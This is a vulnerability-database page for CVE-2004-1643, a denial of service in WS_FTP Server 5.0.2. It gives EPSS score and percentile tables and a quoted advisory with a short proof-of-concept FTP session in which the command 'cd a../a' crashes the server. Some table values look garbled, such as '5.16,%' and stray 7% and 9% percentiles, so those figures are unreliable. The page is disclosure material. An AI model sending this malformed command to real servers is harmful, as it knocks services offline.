CVE-2004-1643 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	5.77%	–
2023-10-15	–	–	–	5.06%	–
2024-01-28	–	–	–	2.94%	–
2024-02-18	–	–	–	2.94%	–
2024-06-02	–	–	–	2.94%	–
2024-09-01	–	–	–	2.73%	–
2024-12-22	–	–	–	1.32%	–
2025-01-19	–	–	–	1.32%	–
2025-03-18	–	–	–	–	4.77%
2025-03-30	–	–	–	–	5.16%
2025-03-30	–	–	–	–	5.16,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	92%
2023-10-15	92%
2024-01-28	9%
2024-02-18	91%
2024-06-02	91%
2024-09-01	91%
2024-12-22	86%
2025-01-19	86%
2025-03-18	89%
2025-03-30	89%
2025-03-30	89%

source: https://www.securityfocus.com/bid/11065/info WS_FTP Server is reported prone to a remote denial of service vulnerability. This issue presents itself when the application processes a malformed file path through the 'cd' command. WS_FTP Server version 5.0.2 is reported prone to this issue, however, other versions may be affected as well. E:\>ftp localhost Connected to ibm. 220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167) 220-Fri Aug 27 14:12:19 2004 220-29 days remaining on evaluation. 220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167) User (ibm:(none)): ftp 331 Password required Password: 230 user logged in ftp> cd a../a Connection closed by remote host.